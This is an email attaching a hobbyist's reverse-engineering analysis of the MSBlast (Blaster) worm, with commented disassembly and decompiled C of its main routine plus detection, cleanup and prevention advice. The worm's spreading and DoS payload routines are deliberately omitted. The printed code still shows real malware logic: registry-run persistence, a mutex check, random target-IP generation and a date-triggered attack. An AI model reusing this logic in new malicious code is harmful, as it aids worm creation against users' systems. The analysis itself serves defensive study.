|
------=_NextPart_000_001B_01C362B5.98ACA600 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Here's a little analysis of the msblast worm. ------=_NextPart_000_001B_01C362B5.98ACA600 Content-Type: text/plain; name="msblast_analysis.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="msblast_analysis.txt" Decompilation of the RPC blaster.worm main() routine=20 and short description/analysis by Dennis Elser. TABLE OF CONTENTS: I. Introduction II. Description III. Commented Disassembly IV. Analysis/Decompilation V. How to detect and clean an infected system, prevent re-infection I. Introduction --------------- Thanks to Datarescue (www.datarescue.com) for the Interactive = DisAssembler (IDA Pro) which made this analysis quite comfortable. The integrated debugger came in very handy to verify the analysis ;) Please bare with me, english is not my native language, I am not a = professional but a hobbyist, this document and the analysis were done in my spare = time for fun and it was not veryfied by anyone so it may contain quite some errata ;) About the analysis: I began to analyze the main() routine but I've left out two important routines due to two reasons: 1. I don't want anyone to recompile this and create new variants. 2. Rolf Rolles beat me to it - too bad we haven't met earlier ;) So spreadworm() and payload() have been left out. Their functionality = will be described later. II. Description --------------- The worm creates a new registry key in = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" called "windows auto update" with the value "msblast.exe". This will make sure that the worm will be run after each reboot. Next, it creates a Mutex called "BILLY", followed by a call to = GetLastError(). If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a = file when that file already exists.") the worm will make a call to = ExitProcess() to prevent the system from running multiple instances of the worm. Otherwise it will continue and call WSAStartup() to initiate windows = sockets, GetModuleFileName(), which is needed for the tftp transfer to other = vulnerable boxes (thanks Rolf) and loop until the OS is connected to the Internet (using = InternetGetConnectedState()). The worm will then create random ip addresses and retreive the local ip = address of the OS in order to infect the local area network and computers on the internet (Please = have a look at the analysis). Every year starting on August the 16th to December the 31st the = payload() routine will be started. >From what I have checked so far it will send packets to = windowsupdate.com in order to DoS it. After that it will spread itself to vulnerable boxes on the internet = (using the randomly generated IP addresses) and to the local area network. As mentioned above spreadworm() and payload() have not been analyzed any = further. spreadworm() will listen on specific ports for incoming connections, = spread itself et cetera. payload() will DoS windowsupdate.com on a specific date. Please refer to Rolf Rolles' analysis for a more detailed analysis. III. Commented Disassembly ------------------------- main proc near ; CODE XREF: mainwrapper+5C=19p in =3D in_addr ptr -3ACh temp_ip_buf =3D dword ptr -3A8h hostent =3D dword ptr -3A4h local_ip_address=3D byte ptr -3A0h WSAData =3D WSAData ptr -1A0h month =3D dword ptr -10h day_of_month =3D byte ptr -0Ch hKey =3D dword ptr -8 ThreadId =3D dword ptr -4 push ebp mov ebp, esp sub esp, 3ACh push esi push edi xor esi, esi push 0 ; lpdwDisposition lea eax, [ebp+hKey] push eax ; phkResult push 0 ; lpSecurityAttributes push 0F003Fh ; samDesired push 0 ; dwOptions push 0 ; lpClass push 0 ; Reserved push offset aSoftwareMicros ; create/open regkey: ; SOFTWARE\Microsoft\Windows\CurrentVersion\Run push 80000002h ; hKey call RegCreateKeyExA push 32h ; cbData push offset aMsblast_exe ; lpData push 1 ; dwType push 0 ; Reserved push offset aWindowsAutoUpd ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExA ; create a subkey/string "windows auto update" = with the value "msblast.exe" ; this will make sure the worm will be run after windows has been = booted push [ebp+hKey] ; hKey call RegCloseKey ; close regkey push offset aBilly ; lpName push 1 ; bInitialOwner push 0 ; lpMutexAttributes call CreateMutexA ; create "Billy" Mutex call GetLastError ; check for error. cmp eax, 0B7h ; 0xb7 =3D Cannot create a file when that file already = exists. jnz short FirstInstance ; if the mutex couldn't be created, then there ; already is running an instance of the worm. ; if this is the case: ExitProcess push 0 ; uExitCode call ExitProcess FirstInstance: ; CODE XREF: main+67=18j lea eax, [ebp+WSAData] push eax ; lpWSAData push 202h ; wVersionRequested call WSAStartup ; call WSAStartup / version 2.02 or eax, eax jz short WSAStartupSuccess ; if successful, branch to = WSAStartupSuccess lea eax, [ebp+WSAData] push eax ; lpWSAData push 101h ; wVersionRequested call WSAStartup ; call WSAStartup / version 1.01 or eax, eax jz short WSAStartupSuccess ; if successful, branch to = WSAStartupSuccess lea eax, [ebp+WSAData] push eax ; lpWSAData push 1 ; wVersionRequested call WSAStartup ; call WSAStartup / v1.0 ? or eax, eax jz short WSAStartupSuccess ; if successful, branch to = WSAStartupSuccess or eax, 0FFFFFFFFh jmp WS_Error ; = =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= WSAStartupSuccess: ; CODE XREF: main+83=18j main+98=18j ... push 104h ; nSize push offset Filename ; lpFilename push 0 ; hModule call GetModuleFileNameA ; get module's name into a buffer (should be = msblast.exe) delay_no_inet: ; CODE XREF: main+DE=19j push 0 lea eax, [ebp+ThreadId] push eax call InternetGetConnectedState ; is the victim connected to the = internet ? or eax, eax jnz short connected push 4E20h ; dwMilliseconds call Sleep ; Sleep 20 seconds jmp short delay_no_inet ; = =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= connected: ; CODE XREF: main+D2=18j and ds:i_ip_D, 0 call GetTickCount ; get value from tickcount push eax call srand ; random starting point pop ecx call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide random value by 0xFE mov edi, edx ; edi =3D edx =3D remainder inc edi ; remainder++ mov ds:randomip_A, edi call rand ; get another random value mov ecx, 0FEh cdq idiv ecx ; divide random value by 0xFE mov ds:randomip_B, edx ; store remainder push 200h ; namelen lea eax, [ebp+local_ip_address] push eax ; name call gethostname ; get hostname for local machine cmp eax, 0FFFFFFFFh ; SOCKET_ERROR ? jz SOCKET_ERROR lea eax, [ebp+local_ip_address] push eax ; name call gethostbyname ; retreive hostent structure mov [ebp+hostent], eax or eax, eax jz SOCKET_ERROR mov ecx, [eax+0Ch] ; ecx =3D hostent.hlength cmp dword ptr [ecx], 0 ; if (hostent.hlength =3D=3D 0) goto = SOCKET_ERROR jz SOCKET_ERROR push 4 mov eax, [eax+0Ch] ; get hostent.hlength push dword ptr [eax] ; source buffer (hostent) lea eax, [ebp+in] push eax ; destination buffer call memcpy ; copy hostent structure push dword ptr [ebp+in.S_un] ; in call inet_ntoa ; get dotted format push eax push offset aS ; "%s" lea edi, [ebp+local_ip_address] push edi call sprintf ; store ip address in string format push offset dot lea eax, [ebp+local_ip_address] push eax call strtok ; find first '.' / dot in local ip address string ; assume we have the following ip address: ; 127.0.0.1 ; eax will hold a pointer to "127\0" after the call to strtok mov [ebp+temp_ip_buf], eax push eax call atoi ; convert string to integer mov ds:i_ip_A, eax push offset dot push 0 call strtok ; find next '.' / dot in local ip address string mov [ebp+temp_ip_buf], eax push eax call atoi ; convert next delimiter of ip address mov ds:i_ip_B, eax push offset dot push 0 call strtok ; find next '.' / dot in local ip address string mov [ebp+temp_ip_buf], eax push eax call atoi ; convert next delimiter of ip address add esp, 3Ch ; correct stack mov ds:i_ip_C, eax cmp eax, 14h ; i_ip_c <=3D 0x14 ? jle short ip_c_lower_0x15 call GetTickCount ; randomize timer / get random value push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx ; divide random value by 0x14 sub ds:i_ip_C, edx ; subtract remainder of division from i_ip_c ip_c_lower_0x15: ; CODE XREF: main+1EE=18j mov eax, ds:i_ip_A mov ds:randomip_A, eax mov eax, ds:i_ip_B mov ds:randomip_B, eax xor esi, esi inc esi ; esi =3D 1 SOCKET_ERROR: ; CODE XREF: main+130=18j main+14A=18j ... call GetTickCount ; randomize timer / get random number push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx ; divide random number by 0x14 cmp edx, 0Ch jge short loc_401496 ; is remainder >=3D 0xC ? xor esi, esi ; if not, esi =3D 0 loc_401496: ; CODE XREF: main+242=18j mov ds:i_ip_D_?, 1 call rand ; get random value mov ecx, 0Ah cdq idiv ecx ; divide random value by 0xA cmp edx, 7 jle short generate_random_ip ; remainder <=3D 7 ? mov ds:i_ip_D_?, 2 generate_random_ip: ; CODE XREF: main+260=18j or esi, esi jnz short get_date ; if esi !=3D 0 goto get_date call rand ; get another random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov edi, edx inc edi mov ds:i_ip_A, edi ; i_ip_A =3D remainder +1 call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov ds:i_ip_B, edx ; i_ip_B =3D remainder call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov ds:i_ip_C, edx ; i_ip_C =3D remainder get_date: ; CODE XREF: main+26E=18j push 3 ; cchDate lea eax, [ebp+day_of_month] push eax ; lpDateStr push offset dateformat_d ; Day of month as digits with no leading zero = for single-digit days push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA ; get day of month push 3 ; cchDate lea eax, [ebp+month] push eax ; lpDateStr push offset dateformat_M ; Month as digits with no leading zero for = single-digit months. push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA lea eax, [ebp+day_of_month] push eax call atoi ; convert daystring to integer pop ecx cmp eax, 15 jg short payload ; if it is the 16th day of a month ; or above, start payload lea edi, [ebp+month] push edi call atoi ; convert monthstring to integer pop ecx cmp eax, 8 ; else if month =3D September, October, November, = December, ; start payload jle short loc_401562 payload: ; CODE XREF: main+2EB=18j lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push 0 ; lpParameter push offset payload? ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread loc_401562: ; CODE XREF: main+2FA=18j main+317=19j call spreadworm jmp short loc_401562 ; = =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= =C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4= call WSACleanup ; clean up... xor eax, eax WS_Error: ; CODE XREF: main+AF=18j pop edi pop esi leave retn 10h main endp IV. Analysis ------------- // global variables char Filename[SOME_CONST]; DWORD i_ip_A; DWORD i_ip_B; DWORD i_ip_C; DWORD i_ip_D; DWORD i_ip_D_?; // left out void spreadworm() { } // left out SEC_THREAD_START paylod() { } // main int main() { in_addr in; DWORD temp_ip_buf; hostent _hostent; char local_ip_address[0x200]; LPWSADATA WSAData; char month[3]; char day_of_month[3]; HKEY hKey; DWORD ThreadId; bool status; // Create/open registry key RegCreateKeyExA(0x80000002, = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, = 0, & hKey, 0); // Put key "windows auto update", value =3D "msblast.exe" RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32); // Close registry RegCloseKey(hKey); // check for a running instance of the worm CreateMutexA(0, 1, "BILLY"); if (GetLastError() =3D=3D 0xb7) ExitProcess(0); // exit // winsock if ((WSAStartup(0x202, & WSAData) !=3D 0) || (WSAStartup(0x101, & = WSAData) !=3D 0) \ || (WSAStartup(0x001, & WSAData) !=3D 0)) return -1; // get driver:\path\filename (for example = c:\winnt\system32\msblast.exe) // needed for tftp to locate the file for redistribution (thanks again = Rolf) GetModuleFileNameA(0, &Filename, 0x104); // idle until a connection to the internet is detected while (InternetGetConnectedState(& ThreadId, 0) =3D=3D 0) = Sleep(0x4e20); // generate random ip address i_ip_D =3D 0; srand(GetTickCount()); randomip_A =3D rand() % 0xFE; randomip_A++; randomip_B =3D rand() % 0xFE; // get local ip address if (gethostname(& local_ip_address, 0x200) !=3D ffffffff) { _hostent =3D gethostbyname(& local_ip_address); if (_hostent !=3D 0) { if (_hostent.hlength !=3D 0) { memcpy( &in, &_hostent.hlength, 4); sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un)); temp_ip_buf =3D strtok(&local_ip_address, "."); // split single parts of ip address into A.B.C.(D) i_ip_A =3D atoi(temp_ip_buf); temp_ip_buf =3D strtok(0, "."); i_ip_B =3D atoi(temp_ip_buf); temp_ip_buf =3D strtok(0, "."); i_ip_C =3D atoi(temp_ip_buf); =09 // randomize x.x.C.x if C > 0x14 if (i_ip_C > 0x14) { srand(GetTickCount()); i_ip_C -=3D rand() % 0x14; } randomip_A =3D i_ip_A; randomip_B =3D i_ip_B; status =3D true; } } } srand(GetTickCount()); if ((rand() % 0x14) < 12) status =3D 0; i_ip_D_? =3D 1; if ((rand % 0xA) > 7) i_ip_D_? =3D 2; if (status =3D=3D 0) { i_ip_A =3D rand() % 0xFE; i_ip_A++; i_ip_B =3D rand() % 0xFE; i_ip_C =3D rand() % 0xFE; } // get date GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3); GetDateFormatA(0x409, 0, 0, &"M", &month, 3); // start payload on 16th august until 31st december if ( (atoi(& day_of_month) > 15) || (atoi(& month) >=3D 8) ) CreateThread(0, 0, payload, 0, 0, &ThreadId); // start spreading the worm all over the windoze-world while (1) spreadworm(); =09 // is that a joke ? it will never be executed ;) WSACleanup(); return 0; } V. How to detect and clean an infected system, prevent re-infection ------------------------------------------------------------------- a.) detection ------------- The three most suspicious indicators for a system infected by the = msblast.worm are - a file called msblast.exe in your windows\system32\ folder - a running process called msblast.exe - the registry entry "windows auto update" containing the string = "msblast.exe" in "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" =09 Some minor indicators are - (high) outbound traffic on port 69, 135 et cetera. - the mutex "BILLY" (write a little application which creates a mutex = called "BILLY" just like the worm does. Call GetLastError() immediately after having = created the mutex. if the returncode is 0xb7 then the mutex already exists which is an = indicator for the worm. - probably a lot more ;) b.) cleaning a system --------------------- 1. Kill the process msblast.exe using window's taskmanager or = tasklist/taskkill. 2. remove the registry key "windows auto update". 3. remove the executable msblast.exe from your windows\system32\ = directory. c.) preventing re-infection --------------------------- 1. Configure your firewall to block port 135 (and others the worm uses). 2. update your windows installation (windowsupdate.com). 3. write a little application which creates a "BILLY" mutex. This will = not prevent your system to be infected but the worm will not spread any further and = will not run any harmful routines as it exits when it detects an existing = "BILLY" mutex. =09 =09 -- Please have a look at Rolf Rolles' complete analysis (he should have = posted it to bugtraq). Check www.datarescue.com for the best disassembler around. Hello's to my "collegues" ;) you know who you are :) "I can not be held responsible for any damages this document may cause" = ;) -- Dennis Elser Student of the Ruhr-Universit=E4t-Bochum Information Technology Security Germany ------=_NextPart_000_001B_01C362B5.98ACA600--